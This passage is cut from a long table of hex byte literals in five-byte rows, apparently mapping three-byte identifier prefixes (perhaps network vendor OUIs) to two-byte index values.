0x1a,\r\n0x00, 0xD0, 0xB3, 0x76, 0x26,\r\n0x00, 0xD0, 0xB4, 0x77, 0x26,\r\n0x00, 0xD0, 0xB5, 0x78, 0x26,\r\n0x00, 0xD0, 0xB6, 0x79, 0x26,\r\n0x00, 0xD0, 0xB7, 0x82, 0x02,\r\n0x00, 0xD0, 0xB8, 0x7a, 0x26,\r\n0x00, 0xD0, 0xB9, 0x14, 0x23,\r\n0x00, 0xD0, 0xBA, 0x05, 0x00,\r\n0x00, 0xD0, 0xBB, 0x05, 0x00,\r\n0x00, 0xD0, 0xBC, 0x05, 0x00,\r\n0x00, 0xD0, 0xBD, 0x7b, 0x26,\r\n0x00, 0xD0, 0xBE, 0x7c, 0x26,\r\n0x00, 0xD0, 0xBF, 0x35, 0x20,\r\n0x00, 0xD0, 0xC0, 0x05, 0x00,\r\n0x00, 0xD0, 0xC1, 0x60, 0x09,\r\n0x00, 0xD0, 0xC2, 0x7d, 0x26,\r\n0x00, 0xD0, 0xC3, 0x7e, 0x26,\r\n0x00, 0xD0, 0xC4, 0x7f, 0x26,\r\n0x00, 0xD0, 0xC5, 0x80, 0x26,\r\n0x00, 0xD0, 0xC6, 0x81, 0x26,\r\n0x00, 0xD0, 0xC7, 0x82, 0x26,\r\n0x00, 0xD0, 0xC8, 0x83, 0x26,\r\n0x00, 0xD0, 0xC9, 0x78, 0x0a,\r\n0x00, 0xD0, 0xCA, 0xb5, 0x05,\r\n0x00, 0xD0, 0xCB, 0x84, 0x26,\r\n0x00, 0xD0, 0xCC, 0x71, 0x0c,\r\n0x00, 0xD0, 0xCD, 0x85, 0x26,\r\n0x00, 0xD0, 0xCE, 0x86, 0x26,\r\n0x00, 0xD0, 0xCF, 0x87, 0x26,\r\n0x00, 0xD0, 0xD0, 0x88, 0x26,\r\n0x00, 0xD0, 0xD1, 0xa0, 0x1a,\r\n0x00, 0xD0, 0xD2, 0x89, 0x26,\r\n0x00, 0xD0, 0xD3, 0x05, 0x00,\r\n0x00, 0xD0, 0xD4, 0x8a, 0x26,\r\n0x00, 0xD0, 0xD5, 0x8b, 0x26,\r\n0x00, 0xD0, 0xD6, 0x8c, 0x26,\r\n0x00, 0xD0, 0xD7, 0x8d, 0x26,\r\n0x00, 0xD0, 0xD8, 0xf2, 0x00,\r\n0x00, 0xD0, 0xD9, 0xf8, 0x0f,\r\n0x00, 0xD0, 0xDA, 0x8e, 0x26,\r\n0x00, 0xD0, 0xDB, 0x8f, 0x26,\r\n0x00, 0xD0, 0xDC, 0x90, 0x26,\r\n0x00, 0xD0, 0xDD, 0x91, 0x26,\r\n0x00, 0xD0, 0xDE, 0x69, 0x08,\r\n0x00, 0xD0, 0xDF, 0x92, 0x26,\r\n0x00, 0xD0, 0xE0, 0x93, 0x26,\r\n0x00, 0xD0, 0xE1, 0x94, 0x26,\r\n0x00, 0xD0, 0xE2, 0x95, 0x26,\r\n0x00, 0xD0, 0xE3, 0x96, 0x26,\r\n0x00, 0xD0, 0xE4, 0x05, 0x00,\r\n0x00, 0xD0, 0xE5, 0x97, 0x26,\r\n0x00, 0xD0, 0xE6, 0x98, 0x26,\r\n0x00, 0xD0, 0xE7, 0x99, 0x26,\r\n0x00, 0xD0, 0xE8, 0x9a, 0x26,\r\n0x00, 0xD0, 0xE9, 0x6f, 0x09,\r\n0x00, 0xD0, 0xEA, 0x9b, 0x26,\r\n0x00, 0xD0, 0xEB, 0x9c, 0x26,\r\n0x00, 0xD0, 0xEC, 0x9d, 0x26,\r\n0x00, 0xD0, 0xED, 0x9e, 0x26,\r\n0x00, 0xD0, 0xEE, 0x9f, 0x26,\r\n0x00, 0xD0, 0xEF, 0xa0, 0x26,\r\n0x00, 0xD0, 0xF0, 0xa1, 0x26,\r\n0x00, 0xD0, 0xF1, 0xa2, 0x26,\r\n0x00, 0xD0, 0xF2, 0xa3, 0x26,\r\n0x00, 0xD0, 0xF3, 0xa4, 0x26,\r\n0x00, 0xD0, 0xF4, 0xa5, 0x26,\r\n0x00, 0xD0, 0xF5, 0xa6, 0x26,\r\n0x00, 0xD0, 0xF6, 0x4f, 0x12,\r\n0x00, 0xD0, 0xF7, 0xa7, 0x26,\r\n0x00, 0xD0, 0xF8, 0xe0, 0x09,\r\n0x00, 0xD0, 0xF9, 0xa8, 0x26,\r\n0x00, 0xD0, 0xFA, 0x1c, 0x0e,\r\n0x00, 0xD0, 0xFB, 0xa9, 0x26,\r\n0x00, 0xD0, 0xFC, 0xaa, 0x26,\r\n0x00, 0xD0, 0xFD, 0xab, 0x26,\r\n0x00, 0xD0, 0xFE, 0xac, 0x26,\r\n0x00, 0xD0, 0xFF, 0x05, 0x00,\r\n0x00, 0xD1, 0x1C, 0xad, 0x26,\r\n0x00, 0xD3, 0x18, 0xae, 0x26,\r\n0x00, 0xD3, 0x8D, 0xaf, 0x26,\r\n0x00, 0xD6, 0x32, 0x32, 0x10,\r\n0x00, 0xD7, 0x8F, 0x05, 0x00,\r\n0x00, 0xD9, 0xD1, 0xd3, 0x03,\r\n0x00, 0xDA, 0x55, 0x05, 0x00,\r\n0x00, 0xDB, 0x1E, 0xb0, 0x26,\r\n0x00, 0xDB, 0x45, 0xb1, 0x26,\r\n0x00, 0xDB, 0x70, 0x51, 0x03,\r\n0x00, 0xDB, 0xDF, 0x80, 0x10,\r\n0x00, 0xDD, 0x00, 0x18, 0x25,\r\n0x00, 0xDD, 0x01, 0x18, 0x25,\r\n0x00, 0xDD, 0x02, 0x18, 0x25,\r\n0x00, 0xDD, 0x03, 0x18, 0x25,\r\n0x00, 0xDD, 0x04, 0x18, 0x25,\r\n0x00, 0xDD, 0x05, 0x18, 0x25,\r\n0x00, 0xDD, 0x06, 0x18, 0x25,\r\n0x00, 0xDD, 0x07, 0x18, 0x25,\r\n0x00, 0xDD, 0x08, 0x18, 0x25,\r\n0x00, 0xDD, 0x09, 0x18, 0x25,\r\n0x00, 0xDD, 0x0A, 0x18, 0x25,\r\n0x00, 0xDD, 0x0B, 0x18, 0x25,\r\n0x00, 0xDD, 0x0C, 0x18, 0x25,\r\n0x00, 0xDD, 0x0D, 0x18, 0x25,\r\n0x00, 0xDD, 0x0E, 0x18, 0x25,\r\n0x00, 0xDD, 0x0F, 0x18, 0x25,\r\n0x00, 0xDE, 0xFB, 0x05, 0x00,\r\n0x00, 0xE0, 0x00, 0x07, 0x00,\r\n0x00, 0xE0, 0x01, 0xb2, 0x26,\r\n0x00, 0xE0, 0x02, 0xb3, 0x26,\r\n0x00, 0xE0, 0x03, 0xb4, 0x26,\r\n0x00, 0xE0, 0x04, 0xb5, 0x26,\r\n0x00, 0xE0, 0x05, 0x35, 0x06,\r\n0x00, 0xE0, 0x06, 0xb6, 0x26,\r\n0x00, 0xE0, 0x07, 0xb7, 0x26,\r\n0x00, 0xE0, 0x08, 0xb8, 0x26,\r\n0x00, 0xE0, 0x09, 0x97, 0x04,\r\n0x00, 0xE0, 0x0A, 0xb9, 0x26,\r\n0x00, 0xE0, 0x0B, 0xba, 0x26,\r\n0x00, 0xE0, 0x0C, 0x22, 0x09,\r\n0x00, 0xE0, 0x0D, 0xbb, 0x26,\r\n0x00, 0xE0, 0x0E, 0xbc, 0x26,\r\n0x00, 0xE0, 0x0F, 0x0e, 0x03,\r\n0x00, 0xE0, 0x10, 0xbd, 0x26,\r\n0x00, 0xE0, 0x11, 0xbe, 0x26,\r\n0x00, 0xE0, 0x12, 0xbf, 0x26,\r\n0x00, 0xE0, 0x13, 0xc0, 0x26,\r\n0x00, 0xE0, 0x14, 0x05, 0x00,\r\n0x00, 0xE0, 0x15, 0xc1, 0x26,\r\n0x00, 0xE0, 0x16, 0xc2, 0x26,\r\n0x00, 0xE0, 0x17, 0xc3, 0x26,\r\n0x00, 0xE0, 0x18, 0xc4, 0x26,\r\n0x00, 0xE0, 0x19, 0xc5, 0x26,\r\n0x00, 0xE0, 0x1A, 0xc6, 0x26,\r\n0x00, 0xE0, 0x1B, 0xc7, 0x26,\r\n0x00, 0xE0, 0x1C, 0x8b, 0x1f,\r\n0x00, 0xE0, 0x1D, 0xc8, 0x26,\r\n0x00, 0xE0, 0x1E, 0x05, 0x00,\r\n0x00, 0xE0, 0x1F, 0xc9, 0x26,\r\n0x00, 0xE0, 0x20, 0xca, 0x26,\r\n0x00, 0xE0, 0x21, 0xcb, 0x26,\r\n0x00, 0xE0, 0x22, 0x74, 0x05,\r\n0x00, 0xE0, 0x23, 0xcc, 0x26,\r\n0x00, 0xE0, 0x24, 0xcd, 0x26,\r\n0x00, 0xE0, 0x25, 0xce, 0x26,\r\n0x00, 0xE0, 0x26, 0xcf, 0x26,\r\n0x00, 0xE0, 0x27, 0xd0, 0x26,\r\n0x00, 0xE0, 0x28, 0xd1, 0x26,\r\n0x00, 0xE0, 0x29, 0xd2, 0x26,\r\n0x00, 0xE0, 0x2A, 0x97, 0x0f,\r\n0x00, 0xE0, 0x2B, 0x1c, 0x01,\r\n0x00, 0xE0, 0x2C, 0xd3, 0x26,\r\n0x00, 0xE0, 0x2D, 0xf6, 0x04,\r\n0x00, 0xE0, 0x2E, 0xd4, 0x26,\r\n0x00, 0xE0, 0x2F, 0xd5, 0x26,\r\n0x00, 0xE0, 0x30, 0xd6, 0x26,\r\n0x00, 0xE0, 0x31, 0xf9, 0x21,\r\n0x00, 0xE0, 0x32, 0xd7, 0x26,\r\n0x00, 0xE0, 0x33, 0xd8, 0x26,\r\n0x00, 0xE0, 0x34, 0x05, 0x00,\r\n0x00, 0xE0, 0x35, 0x95, 0x01,\r\n0x00, 0xE0, 0x36, 0xd9, 0x26,\r\n0x00, 0xE0, 0x37, 0xf6, 0x22,\r\n0x00, 0xE0, 0x38, 0xda, 0x26,\r\n0x00, 0xE0, 0x39, 0xdb, 0x26,\r\n0x00, 0xE0, 0x3A, 0x16, 0x00,\r\n0x00, 0xE0, 0x3B, 0xdc, 0x26,\r\n0x00, 0xE0, 0x3C, 0xdd, 0x26,\r\n0x00, 0xE0, 0x3D, 0xde, 0x26,\r\n0x00, 0xE0, 0x3E, 0xdf, 0x26,\r\n0x00, 0xE0, 0x3F, 0xe0, 0x26,\r\n0x00, 0xE0, 0x40, 0xe1, 0x26,\r\n0x00, 0xE0, 0x41, 0xe2, 0x26,\r\n0x00, 0xE0, 0x42, 0xe3, 0x26,\r\n0x00, 0xE0, 0x43, 0xe4, 0x26,\r\n0x00, 0xE0, 0x44, 0xe5, 0x26,\r\n0x00, 0xE0, 0x45, 0xe6, 0x26,\r\n0x00, 0xE0, 0x46, 0xe7, 0x26,\r\n0x00, 0xE0, 0x47, 0xe8, 0x26,\r\n0x00, 0xE0, 0x48, 0xe9, 0x26,\r\n0x00, 0xE0, 0x49, 0xea, 0x26,\r\n0x00, 0xE0, 0x4A, 0xeb, 0x26,\r\n0x00, 0xE0, 0x4B, 0xec, 0x26,\r\n0x00, 0xE0, 0x4C, 0xed, 0x26,\r\n0x00, 0xE0, 0x4D, 0x8e, 0x03,\r\n0x00, 0xE0, 0x4E, 0xee, 0x26,\r\n0x00, 0xE0, 0x4F, 0x05, 0x00,\r\n0x00, 0xE0, 0x50, 0xef, 0x26,\r\n0x00, 0xE0, 0x51, 0xf0, 0x26,\r\n0x00, 0xE0, 0x52, 0x80, 0x00,\r\n0x00, 0xE0, 0x53, 0xf1, 0x26,\r\n0x00, 0xE0, 0x54, 0xf2, 0x26,\r\n0x00, 0xE0, 0x55, 0xf3, 0x26,\r\n0x00, 0xE0, 0x56, 0xf4, 0x26,\r\n0x00, 0xE0, 0x57, 0xf5, 0x26,\r\n0x00, 0xE0, 0x58, 0xf6, 0x26,\r\n0x00, 0xE0, 0x59, 0x8d, 0x1f,\r\n0x00, 0xE0, 0x5A, 0xf7, 0x26,\r\n0x00, 0xE0, 0x5B, 0xf8, 0x26,\r\n0x00, 0xE0, 0x5C, 0x5e, 0x0d,\r\n0x00, 0xE0, 0x5D, 0xf9, 0x26,\r\n0x00, 0xE0, 0x5E, 0xfa, 0x26,\r\n0x00, 0xE0, 0x5F, 0xfb, 0x26,\r\n0x00, 0xE0, 0x60, 0xfe, 0x18,\r\n0x00, 0xE0, 0x61, 0xfc, 0x26,\r\n0x00, 0xE0, 0x62, 0xfd, 0x26,\r\n0x00, 0xE0, 0x63, 0x16, 0x00,\r\n0x00, 0xE0, 0x64, 0x4f, 0x02,\r\n0x00, 0xE0, 0x65, 0x37, 0x04,\r\n0x00, 0xE0, 0x66, 0xfe, 0x26,\r\n0x00, 0xE0, 0x67, 0xff, 0x26,\r\n0x00, 0xE0, 0x68, 0x00, 0x27,\r\n0x00, 0xE0, 0x69, 0x01, 0x27,\r\n0x00, 0xE0, 0x6A, 0x02, 0x27,\r\n0x00, 0xE0, 0x6B, 0x03, 0x27,\r\n0x00, 0xE0, 0x6C, 0x79, 0x15,\r\n0x00, 0xE0, 0x6D, 0x04, 0x27,\r\n0x00, 0xE0, 0x6E, 0x05, 0x27,\r\n0x00, 0xE0, 0x6F, 0xb9, 0x00,\r\n0x00, 0xE0, 0x70, 0x06, 0x27,\r\n0x00, 0xE0, 0x71, 0x07, 0x27,\r\n0x00, 0xE0, 0x72, 0x89, 0x25,\r\n0x00, 0xE0, 0x73, 0xf5, 0x04,\r\n0x00, 0xE0, 0x74, 0x08, 0x27,\r\n0x00, 0xE0, 0x75, 0x9d, 0x1a,\r\n0x00, 0xE0, 0x76, 0x09, 0x27,\r\n0x00, 0xE0, 0x77, 0x0a, 0x27,\r\n0x00, 0xE0, 0x78, 0x36, 0x01,\r\n0x00, 0xE0, 0x79, 0x0b, 0x27,\r\n0x00, 0xE0, 0x7A, 0x0c, 0x27,\r\n0x00, 0xE0, 0x7B, 0x79, 0x00,\r\n0x00, 0xE0, 0x7C, 0x68, 0x0e,\r\n0x00, 0xE0, 0x7D, 0xe5, 0x24,\r\n0x00, 0xE0, 0x7E, 0x0d, 0x27,\r\n0x00, 0xE0, 0x7F, 0x0e, 0x27,\r\n0x00, 0xE0, 0x80, 0x0f, 0x27,\r\n0x00, 0xE0, 0x81, 0x10, 0x27,\r\n0x00, 0xE0, 0x82, 0x11, 0x27,\r\n0x00, 0xE0, 0x83, 0x12, 0x27,\r\n0x00, 0xE0, 0x84, 0x13, 0x27,\r\n0x00, 0xE0, 0x85, 0x14, 0x27,\r\n0x00, 0xE0, 0x86, 0xf6, 0x08,\r\n0x00, 0xE0, 0x87, 0x15, 0x27,\r\n0x00, 0xE0, 0x88, 0x16, 0x27,\r\n0x00, 0xE0, 0x89, 0x93, 0x1a,\r\n0x00, 0xE0, 0x8A, 0x17, 0x27,\r\n0x00, 0xE0, 0x8B, 0x91, 0x0c,\r\n0x00, 0xE0, 0x8C, 0x18, 0x27,\r\n0x00, 0xE0, 0x8D, 0x19, 0x27,\r\n0x00, 0xE0, 0x8E, 0x0f, 0x07,\r\n0x00, 0xE0, 0x8F, 0x31, 0x0e,\r\n0x00, 0xE0, 0x90, 0x1a, 0x27,\r\n0x00, 0xE0, 0x91, 0xce, 0x17,\r\n0x00, 0xE0, 0x92, 0x1b, 0x27,\r\n0x00, 0xE0, 0x93, 0x1c, 0x27,\r\n0x00, 0xE0, 0x94, 0x1d, 0x27,\r\n0x00, 0xE0, 0x95, 0xf7, 0x01,\r\n0x00, 0xE0, 0x96, 0x1e, 0x27,\r\n0x00, 0xE0, 0x97, 0x1f, 0x27,\r\n0x00, 0xE0, 0x98, 0xc8, 0x0f,\r\n0x00, 0xE0, 0x99, 0x20, 0x27,\r\n0x00, 0xE0, 0x9A, 0x7c, 0x0b,\r\n0x00, 0xE0, 0x9B, 0x21, 0x27,\r\n0x00, 0xE0, 0x9C, 0x22, 0x27,\r\n0x00, 0xE0, 0x9D, 0x23, 0x27,\r\n0x00, 0xE0, 0x9E, 0xc2, 0x1f,\r\n0x00, 0xE0, 0x9F, 0x24, 0x27,\r\n0x00, 0xE0, 0xA0, 0x25, 0x27,\r\n0x00, 0xE0, 0xA1, 0x26, 0x27,\r\n0x00, 0xE0, 0xA2, 0x27, 0x27,\r\n0x00, 0xE0, 0xA3, 0x31, 0x0e,\r\n0x00, 0xE0, 0xA4, 0x28, 0x27,\r\n0x00, 0xE0, 0xA5, 0x29, 0x27,\r\n0x00, 0xE0, 0xA6, 0x2a, 0x27,\r\n0x00, 0xE0, 0xA7, 0x2b, 0x27,\r\n0x00, 0xE0, 0xA8, 0x2c, 0x27,\r\n0x00, 0xE0, 0xA9, 0x2d, 0x27,\r\n0x00, 0xE0, 0xAA, 0x2e, 0x27,\r\n0x00, 0xE0, 0xAB, 0x2f, 0x27,\r\n0x00, 0xE0, 0xAC, 0x30, 0x27,\r\n0x00, 0xE0, 0xAD, 0x31, 0x27,\r\n0x00, 0xE0, 0xAE, 0x32, 0x27,\r\n0x00, 0xE0, 0xAF, 0xd2, 0x0f,\r\n0x00, 0xE0, 0xB0, 0x31, 0x0e,\r\n0x00, 0xE0, 0xB1, 0xd1, 0x06,\r\n0x00, 0xE0, 0xB2, 0x33, 0x27,\r\n0x00, 0xE0, 0xB3, 0x34, 0x27,\r\n0x00, 0xE0, 0xB4, 0x35, 0x27,\r\n0x00, 0xE0, 0xB5, 0x36, 0x27,\r\n0x00, 0xE0, 0xB6, 0x37, 0x27,\r\n0x00, 0xE0, 0xB7, 0x38, 0x27,\r\n0x00, 0xE0, 0xB8, 0x3b, 0x22,\r\n0x00, 0xE0, 0xB9, 0x39, 0x27,\r\n0x00, 0xE0, 0xBA, 0x3a, 0x27,\r\n0x00, 0xE0, 0xBB, 0x3b, 0x27,\r\n0x00, 0xE0, 0xBC, 0x3c, 0x27,\r\n0x00, 0xE0, 0xBD, 0xaa, 0x08,\r\n0x00, 0xE0, 0xBE, 0x3d, 0x27,\r\n0x00, 0xE0, 0xBF, 0x3e, 0x27,\r\n0x00, 0xE0, 0xC0, 0xf8, 0x04,\r\n0x00, 0xE0, 0xC1, 0x91, 0x00,\r\n0x00, 0xE0, 0xC2, 0x3f, 0x27,\r\n0x00, 0xE0, 0xC3, 0x40, 0x27,\r\n0x00, 0xE0, 0xC4, 0x41, 0x27,\r\n0x00, 0xE0, 0xC5, 0x42, 0x27,\r\n0x00, 0xE0, 0xC6, 0x43, 0x27,\r\n0x00, 0xE0, 0xC7, 0xd0, 0x21,\r\n0x00, 0xE0, 0xC8, 0x44, 0x27,\r\n0x00, 0xE0, 0xC9, 0xfc, 0x0a,\r\n0x00, 0xE0, 0xCA, 0x45, 0x27,\r\n0x00, 0xE0, 0xCB, 0x46, 0x27,\r\n0x00, 0xE0, 0xCC, 0x47, 0x27,\r\n0x00, 0xE0, 0xCD, 0x48, 0x27,\r\n0x00, 0xE0, 0xCE, 0x49, 0x27,\r\n0x00, 0xE0, 0xCF, 0xd5, 0x00,\r\n0x00, 0xE0, 0xD0, 0x4a, 0x27,\r\n0x00, 0xE0, 0xD1, 0x4b, 0x27,\r\n0x00, 0xE0, 0xD2, 0x4c, 0x27,\r\n0x00, 0xE0, 0xD3, 0x4d, 0x27,\r\n0x00, 0xE0, 0xD4, 0x4e, 0x27,\r\n0x00, 0xE0, 0xD5, 0x2b, 0x09,\r\n0x00, 0xE0, 0xD6, 0x63, 0x00,\r\n0x00, 0xE0, 0xD7, 0xec, 0x18,\r\n0x00, 0xE0, 0xD8, 0x4f, 0x27,\r\n0x00, 0xE0, 0xD9, 0x50, 0x27,\r\n0x00, 0xE0, 0xDA, 0xd1, 0x06,\r\n0x00, 0xE0, 0xDB, 0x51, 0x27,\r\n0x00, 0xE0, 0xDC, 0x52, 0x27,\r\n0x00, 0xE0, 0xDD, 0x16, 0x0b,\r\n0x00, 0xE0, 0xDE, 0x53, 0x27,\r\n0x00, 0xE0, 0xDF, 0x54, 0x27,\r\n0x00, 0xE0, 0xE0, 0x55, 0x27,\r\n0x00, 0xE0, 0xE1, 0x56, 0x27,\r\n0x00, 0xE0, 0xE2, 0x57, 0x27,\r\n0x00, 0xE0, 0xE3, 0x58, 0x27,\r\n0x00, 0xE0, 0xE4, 0x59, 0x27,\r\n0x00, 0xE0, 0xE5, 0x5a, 0x27,\r\n0x00, 0xE0, 0xE6, 0x5b, 0x27,\r\n0x00, 0xE0, 0xE7, 0x87, 0x00,\r\n0x00, 0xE0, 0xE8, 0x5c, 0x27,\r\n0x00, 0xE0, 0xE9, 0x5d, 0x27,\r\n0x00, 0xE0, 0xEA, 0x5e, 0x27,\r\n0x00, 0xE0, 0xEB, 0x5f, 0x27,\r\n0x00, 0xE0, 0xEC, 0x60, 0x27,\r\n0x00, 0xE0, 0xED, 0x61, 0x27,\r\n0x00, 0xE0, 0xEE, 0x62, 0x27,\r\n0x00, 0xE0, 0xEF, 0x63, 0x27,\r\n0x00, 0xE0, 0xF0, 0x64, 0x27,\r\n0x00, 0xE0, 0xF1, 0x65, 0x27,\r\n0x00, 0xE0, 0xF2, 0x66, 0x27,\r\n0x00, 0xE0, 0xF3, 0x67, 0x27,\r\n0x00, 0xE0, 0xF4, 0x68, 0x27,\r\n0x00, 0xE0, 0xF5, 0x69, 0x27,\r\n0x00, 0xE0, 0xF6, 0x6a, 0x27,\r\n0x00, 0xE0, 0xF7, 0x05, 0x00,\r\n0x00, 0xE0, 0xF8, 0x6b, 0x27,\r\n0x00, 0xE0, 0xF9, 0x05, 0x00,\r\n0x00, 0xE0, 0xFA, 0x6c, 0x27,\r\n0x00, 0xE0, 0xFB, 0x6d, 0x27,\r\n0x00, 0xE0, 0xFC, 0xda, 0x14,\r\n0x00, 0xE0, 0xFD, 0x6e, 0x27,\r\n0x00, 0xE0, 0xFE, 0x05, 0x00,\r\n0x00, 0xE0, 0xFF, 0xe0, 0x1d,\r\n0x00, 0xE1, 0x6D, 0x05, 0x00,\r\n0x00, 0xE1, 0x75, 0x6f, 0x27,\r\n0x00, 0xE1, 0x8C, 0x80, 0x10,\r\n0x00, 0xE3, 0xB2, 0x4f, 0x02,\r\n0x00, 0xE4, 0x00, 0x9d, 0x11,\r\n0x00, 0xE6, 0x66, 0xed, 0x02,\r\n0x00, 0xE6, 0xD3, 0x70, 0x27,\r\n0x00, 0xE6, 0xE8, 0x71, 0x27,\r\n0x00, 0xE8, 0xAB, 0x72, 0x27,\r\n0x00, 0xEB, 0x2D, 0xbe, 0x09,\r\n0x00, 0xEB, 0xD5, 0x05, 0x00,\r\n0x00, 0xEC, 0x0A, 0x34, 0x24,\r\n0x00, 0xEE, 0xBD, 0x3f, 0x08,\r\n0x00, 0xF0, 0x51, 0x73, 0x27,\r\n0x00, 0xF2, 0x2C, 0x0e, 0x03,\r\n0x00, 0xF2, 0x8B, 0x05, 0x00,\r\n0x00, 0xF3, 0xDB, 0x74, 0x27,\r\n0x00, 0xF4, 0x03, 0x75, 0x27,\r\n0x00, 0xF4, 0x6F, 0x4f, 0x02,\r\n0x00, 0xF4, 0xB9, 0x51, 0x03,\r\n0x00, 0xF6, 0x63, 0x05, 0x00,\r\n0x00, 0xF7, 0x6F, 0x51, 0x03,\r\n0x00, 0xF8, 0x1C, 0xda, 0x14,\r\n0x00, 0xF8, 0x2C, 0x05, 0x00,\r\n0x00, 0xF8, 0x60, 0x76, 0x27,\r\n0x00, 0xF8, 0x71, 0x77, 0x27,\r\n0x00, 0xFA, 0x3B, 0x78, 0x27,\r\n0x00, 0xFC, 0x58, 0x79, 0x27,\r\n0x00, 0xFC, 0x70, 0x7a, 0x27,\r\n0x00, 0xFC, 0x8B, 0x96, 0x22,\r\n0x00, 0xFC, 0x8D, 0x4a, 0x05,\r\n0x00, 0xFC, 0xBA, 0x05, 0x00,\r\n0x00, 0xFD, 0x45, 0xc9, 0x01,\r\n0x00, 0xFD, 0x4C, 0x7b, 0x27,\r\n0x00, 0xFE, 0xC8, 0x05, 0x00,\r\n0x01, 0x0E, 0xCF, 0x7c, 0x27,\r\n0x02, 0x04, 0x06, 0x7d, 0x27,\r\n0x02, 0x07, 0x01, 0x7e, 0x27,\r\n0x02, 0x1C, 0x7C, 0xe7, 0x17,\r\n0x02, 0x20, 0x48, 0x2b, 0x00,\r\n0x02, 0x60, 0x60, 0xf2, 0x00,\r\n0x02, 0x60, 0x86, 0x2e, 0x22,\r\n0x02, 0x60, 0x8C, 0x7f, 0x27,\r\n0x02, 0x70, 0x01, 0x7e, 0x27,\r\n0x02, 0x70, 0xB0, 0x94, 0x22,\r\n0x02, 0x70, 0xB3, 0x95, 0x22,\r\n0x02, 0x9D, 0x8E, 0x33, 0x24,\r\n0x02, 0xA0, 0xC9, 0x82, 0x02,\r\n0x02, 0xAA, 0x3C, 0x3f, 0x00,\r\n0x02, 0xBB, 0x01, 0x16, 0x25,\r\n0x02, 0xC0, 0x8C, 0xf2, 0x00,\r\n0x02, 0xCF, 0x1C, 0x5a, 0x08,\r\n0x02, 0xCF, 0x1F, 0x80, 0x27,\r\n0x02, 0xE0, 0x3B, 0xdc, 0x26,\r\n0x02, 0xE6, 0xD3, 0x70, 0x27,\r\n0x04, 0x02, 0x1F, 0xda, 0x14,\r\n0x04, 0x02, 0xCA, 0xe9, 0x01,\r\n0x04, 0x03, 0xD6, 0xc5, 0x08,\r\n0x04, 0x04, 0xEA, 0x81, 0x27,\r\n0x04, 0x09, 0x73, 0xc9, 0x01,\r\n0x04, 0x0A, 0x83, 0xd1, 0x06,\r\n0x04, 0x0A, 0xE0, 0x82, 0x27,\r\n0x04, 0x0C, 0xCE, 0x51, 0x03,\r\n0x04, 0x0E, 0xC2, 0xf2, 0x09,\r\n0x04, 0x15, 0x52, 0x51, 0x03,\r\n0x04, 0x18, 0x0F, 0x4f, 0x02,\r\n0x04, 0x18, 0xB6, 0x65, 0x00,\r\n0x04, 0x18, 0xD6, 0x84, 0x12,\r\n0x04, 0x19, 0x7F, 0x83, 0x27,\r\n0x04, 0x1A, 0x04, 0x84, 0x27,\r\n0x04, 0x1B, 0x6D, 0xce, 0x17,\r\n0x04, 0x1B, 0x94, 0x85, 0x27,\r\n0x04, 0x1B, 0xBA, 0x4f, 0x02,\r\n0x04, 0x1D, 0x10, 0x86, 0x27,\r\n0x04, 0x1E, 0x64, 0x51, 0x03,\r\n0x04, 0x1E, 0x7A, 0x87, 0x27,\r\n0x04, 0x20, 0x9A, 0x5e, 0x0d,\r\n0x04, 0x21, 0x4C, 0x88, 0x27,\r\n0x04, 0x22, 0x34, 0x61, 0x01,\r\n0x04, 0x25, 0xC5, 0xda, 0x14,\r\n0x04, 0x26, 0x05, 0x89, 0x27,\r\n0x04, 0x26, 0x65, 0x51, 0x03,\r\n0x04, 0x27, 0x58, 0xda, 0x14,\r\n0x04, 0x2A, 0xE2, 0x05, 0x00,\r\n0x04, 0x2B, 0xBB, 0x8a, 0x27,\r\n0x04, 0x2D, 0xB4, 0x8b, 0x27,\r\n0x04, 0x2F, 0x56, 0x8c, 0x27,\r\n0x04, 0x31, 0x10, 0x8d, 0x27,\r\n0x04, 0x32, 0xF4, 0x8e, 0x27,\r\n0x04, 0x33, 0x89, 0xda, 0x14,\r\n0x04, 0x36, 0x04, 0x8f, 0x27,\r\n0x04, 0x3A, 0x0D, 0x90, 0x27,\r\n0x04, 0x3D, 0x98, 0xe6, 0x16,\r\n0x04, 0x41, 0x69, 0x91, 0x27,\r\n0x04, 0x44, 0xA1, 0x92, 0x27,\r\n0x04, 0x46, 0x65, 0xd4, 0x0c,\r\n0x04, 0x48, 0x9A, 0x51, 0x03,\r\n0x04, 0x4A, 0x50, 0x93, 0x27,\r\n0x04, 0x4B, 0xED, 0x51, 0x03,\r\n0x04, 0x4B, 0xFF, 0xd3, 0x06,\r\n0x04, 0x4C, 0xEF, 0x94, 0x27,\r\n0x04, 0x4E, 0x06, 0xce, 0x01,\r\n0x04, 0x4E, 0x5A, 0xb9, 0x00,\r\n0x04, 0x4E, 0xAF, 0x49, 0x05,\r\n0x04, 0x4F, 0x17, 0x38, 0x03,\r\n0x04, 0x4F, 0x4C, 0xda, 0x14,\r\n0x04, 0x4F, 0x8B, 0x95, 0x27,\r\n0x04, 0x4F, 0xAA, 0x02, 0x11,\r\n0x04, 0x50, 0xDA, 0x96, 0x27,\r\n0x04, 0x52, 0xC7, 0x37, 0x0b,\r\n0x04, 0x52, 0xF3, 0x51, 0x03,\r\n0x04, 0x53, 0xD5, 0x97, 0x27,\r\n0x04, 0x54, 0x53, 0x51, 0x03,\r\n0x04, 0x55, 0xCA, 0x98, 0x27,\r\n0x04, 0x56, 0x04, 0x99, 0x27,\r\n0x04, 0x57, 0x2F, 0x9a, 0x27,\r\n0x04, 0x58, 0x6F, 0x9b, 0x27,\r\n0x04, 0x5A, 0x95, 0x4f, 0x12,\r\n0x04, 0x5C, 0x06, 0x9c, 0x27,\r\n0x04, 0x5C, 0x8E, 0x9d, 0x27,\r\n0x04, 0x5D, 0x4B, 0x34, 0x01,\r\n0x04, 0x5D, 0x56, 0x9e, 0x27,\r\n0x04, 0x5F, 0xA7, 0xe9, 0x01,\r\n0x04, 0x61, 0x69, 0xca, 0x0e,\r\n0x04, 0x62, 0x73, 0x05, 0x00,\r\n0x04, 0x62, 0xD7, 0x9f, 0x27,\r\n0x04, 0x63, 0xE0, 0xa0, 0x27,\r\n0x04, 0x65, 0x65, 0xa1, 0x27,\r\n0x04, 0x67, 0x85, 0xa2, 0x27,\r\n0x04, 0x69, 0xF8, 0x51, 0x03,\r\n0x04, 0x6B, 0x1B, 0xa3, 0x27,\r\n0x04, 0x6C, 0x9D, 0x05, 0x00,\r\n0x04, 0x6D, 0x42, 0xa4, 0x27,\r\n0x04, 0x6E, 0x02, 0xa5, 0x27,\r\n0x04, 0x6E, 0x49, 0xa6, 0x27,\r\n0x04, 0x70, 0xBC, 0xe1, 0x03,\r\n0x04, 0x71, 0x4B, 0x57, 0x17,\r\n0x04, 